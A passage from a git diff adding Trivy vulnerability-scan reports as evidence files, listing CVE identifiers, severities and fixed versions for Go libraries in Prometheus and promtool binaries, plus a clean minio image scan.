CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└──────────────────────────────────┴─────────────────────┴──────────┴────────┴───────────────────┴───────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-minio.txt b/evidence/trivy-minio.txt new file mode 100644 index 0000000..700a3b0 --- /dev/null +++ b/evidence/trivy-minio.txt @@ -0,0 +1,12 @@ + +Report Summary + +┌──────────────────────────────────┬───────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├──────────────────────────────────┼───────┼─────────────────┤ +│ /scan/image.tar (wolfi 20230201) │ wolfi │ 0 │ +└──────────────────────────────────┴───────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + diff --git a/evidence/trivy-prometheus.txt b/evidence/trivy-prometheus.txt new file mode 100644 index 0000000..3586dd1 --- /dev/null +++ b/evidence/trivy-prometheus.txt @@ -0,0 +1,511 @@ + +Report Summary + +┌────────────────┬──────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├────────────────┼──────────┼─────────────────┤ +│ bin/prometheus │ gobinary │ 58 │ +├────────────────┼──────────┼─────────────────┤ +│ bin/promtool │ gobinary │ 56 │ +└────────────────┴──────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +bin/prometheus (gobinary) +========================= +Total: 58 (HIGH: 56, CRITICAL: 2) + +┌───────────────────────────────┬─────────────────────┬──────────┬──────────┬──────────────────────┬───────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├───────────────────────────────┼─────────────────────┼──────────┼──────────┼──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/docker/docker │ CVE-2026-41567 │ HIGH │ affected │ v27.4.1+incompatible │ │ docker: Moby/Docker Engine: Arbitrary Code Execution via │ +│ │ │ │ │ │ │ malicious container image and compressed... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41567 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42306 │ │ │ │ │ github.com/docker/docker: github.com/moby/moby: Moby │ +│ │ │ │ │ │ │ container framework: Host file overwrite via race condition │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42306 │ +├───────────────────────────────┼─────────────────────┤ ├──────────┼──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/golang-jwt/jwt/v5 │ CVE-2025-30204 │ │ fixed │ v5.2.1 │ 5.2.2 │ golang-jwt/jwt: jwt-go allows excessive memory allocation │ +│ │ │ │ │ │ │ during header parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-30204 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/klauspost/compress │ CVE-2026-63209 │ │ │ v1.17.11 │ 1.18.7 │ github.com/klauspost/compress: klauspost/compress: Denial of │ +│ │ │ │ │ │ │ Service via integer overflow in dictionary processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-63209 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ go.opentelemetry.io/otel/sdk │ CVE-2026-24051 │ │ │ v1.34.0 │ 1.40.0 │ opentelemetry-go: OpenTelemetry-Go Affected by Arbitrary │ +│ │ │ │ │ │ │ Code Execution via PATH Hijacking │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-24051 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39883 │ │ │ │ 1.43.0 │ github.com/open-telemetry/opentelemetry-go: │ +│ │ │ │ │ │ │ OpenTelemetry-Go: Arbitrary code execution via PATH │ +│ │ │ │ │ │ │ hijacking on BSD/Solaris │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39883 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/crypto │ CVE-2025-22869 │ │ │ v0.32.0 │ 0.35.0 │ golang.org/x/crypto/ssh: Denial of Service in the Key │ +│ │ │ │ │ │ │ Exchange of golang.org/x/crypto/ssh │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22869 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-47913 │ │ │ │ 0.43.0 │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: SSH client panic due to │ +│ │ │ │ │ │ │ unexpected SSH_AGENT_SUCCESS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-47913 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39828 │ │ │ │ 0.52.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Unauthorized command execution via discarded SSH permissions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39828 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39829 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted public key with excessive parameters... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39829 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39830 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via resource leak from unsolicited SSH responses... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39830 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39831 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security │ +│ │ │ │ │ │ │ key bypass due to missing user presence check │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39831 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39832 │ │ │ │ │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: Security bypass due to │ +│ │ │ │ │ │ │ improper handling of key restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39832 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39835 │ │ │ │ │ golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Denial of Service via crafted SSH certificate │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39835 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42508 │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: golang: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: Revocation bypass via │ +│ │ │ │ │ │ │ unchecked SignatureKey │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42508 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46595 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authorization bypass due to skipped source-address │ +│ │ │ │ │ │ │ validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46595 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46597 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted AES-GCM packet decoder inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46597 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56854 │ │ │ │ 0.55.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authentication bypass due to unenforced source-address │ +│ │ │ │ │ │ │ restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56854 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┤ ├──────────────────────────────────────────────────────────────┤ +│ golang.org/x/net │ CVE-2026-25681 │ │ │ v0.34.0 │ │ golang.org/x/net/html: golang.org/x/net/html: Arbitrary code │ +│ │ │ │ │ │ │ execution via Cross-Site Scripting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25681 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27136 │ │ │ │ │ golang.org/x/net/html: golang: golang.org/x/net/html: │ +│ │ │ │ │ │ │ Cross-Site Scripting via HTML parsing bypass │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27136 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ 0.53.0 │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 0.55.0 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46600 │ │ │ │ 0.56.0 │ golang.org/x/net/dns/dnsmessage: │ +│ │ │ │ │ │ │ golang.org/x/net/dns/dnsmessage: Denial of Service via │ +│ │ │ │ │ │ │ invalid DNS record parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46600 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78661 │ │ │ │ 0.62.0 │ golang.org/x/net/html: golang.org/x/net/html: Denial of │ +│ │ │ │ │ │ │ Service via crafted HTML input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78661 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ 0.60.0 │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/oauth2 │ CVE-2025-22868 │ │ │ v0.25.0 │ 0.27.0 │ golang.org/x/oauth2/jws: Unexpected memory consumption │ +│ │ │ │ │ │ │ during token parsing in golang.org/x/oauth2/jws │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22868 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/text │ CVE-2026-56851 │ │ │ v0.21.0 │ 0.41.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ out-of-bounds slice error in Nickname profile... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56851 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56852 │ │ │ │ 0.39.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ invalid UTF-8 input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56852 │ +├───────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ google.golang.org/grpc │ CVE-2026-33186 │ CRITICAL │ │ v1.70.0 │ 1.79.3 │ google.golang.org/grpc/grpc-go: │ +│ │ │ │ │ │ │ google.golang.org/grpc/authz: gRPC-Go: Authorization bypass │ +│ │ │ │ │ │ │ due to improper HTTP/2 path validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33186 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84304 │ HIGH │ │ │ 1.83.1 │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ │ HTTP/2 DATA Frame Fragmentation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84304 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84445 │ │ │ │ 1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ 1.85.0-dev.0.20260825072537-93e31b48545e │ malformed RPC requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84445 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ GHSA-hrxh-6v49-42gf │ │ │ │ 1.82.1 │ gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities │ +│ │ │ │ │ │ │ https://github.com/advisories/GHSA-hrxh-6v49-42gf │ +├───────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ │ v1.23.6 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ HIGH │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└───────────────────────────────┴─────────────────────┴──────────┴──────────┴──────────────────────┴───────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘ + +bin/promtool (gobinary) +======================= +Total: 56 (HIGH: 54, CRITICAL: 2) + +┌───────────────────────────────┬─────────────────────┬──────────┬──────────┬──────────────────────┬───────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├───────────────────────────────┼─────────────────────┼──────────┼──────────┼──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/docker/docker │ CVE-2026-41567 │ HIGH │ affected │ v27.4.1+incompatible │ │ docker: Moby/Docker Engine: Arbitrary Code Execution via │ +│ │ │ │ │ │ │ malicious container image and compressed... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41567 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42306 │ │ │ │ │ github.com/docker/docker: github.com/moby/moby: Moby │ +│ │ │ │ │ │ │ container framework: Host file overwrite via race condition │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42306 │ +├───────────────────────────────┼─────────────────────┤ ├──────────┼──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/golang-jwt/jwt/v5 │ CVE-2025-30204 │ │ fixed │ v5.2.1 │ 5.2.2 │ golang-jwt/jwt: jwt-go allows excessive memory allocation │ +│ │ │ │ │ │ │ during header parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-30204 │ +├───────────────────────────────┼─────────────────────┤ │ 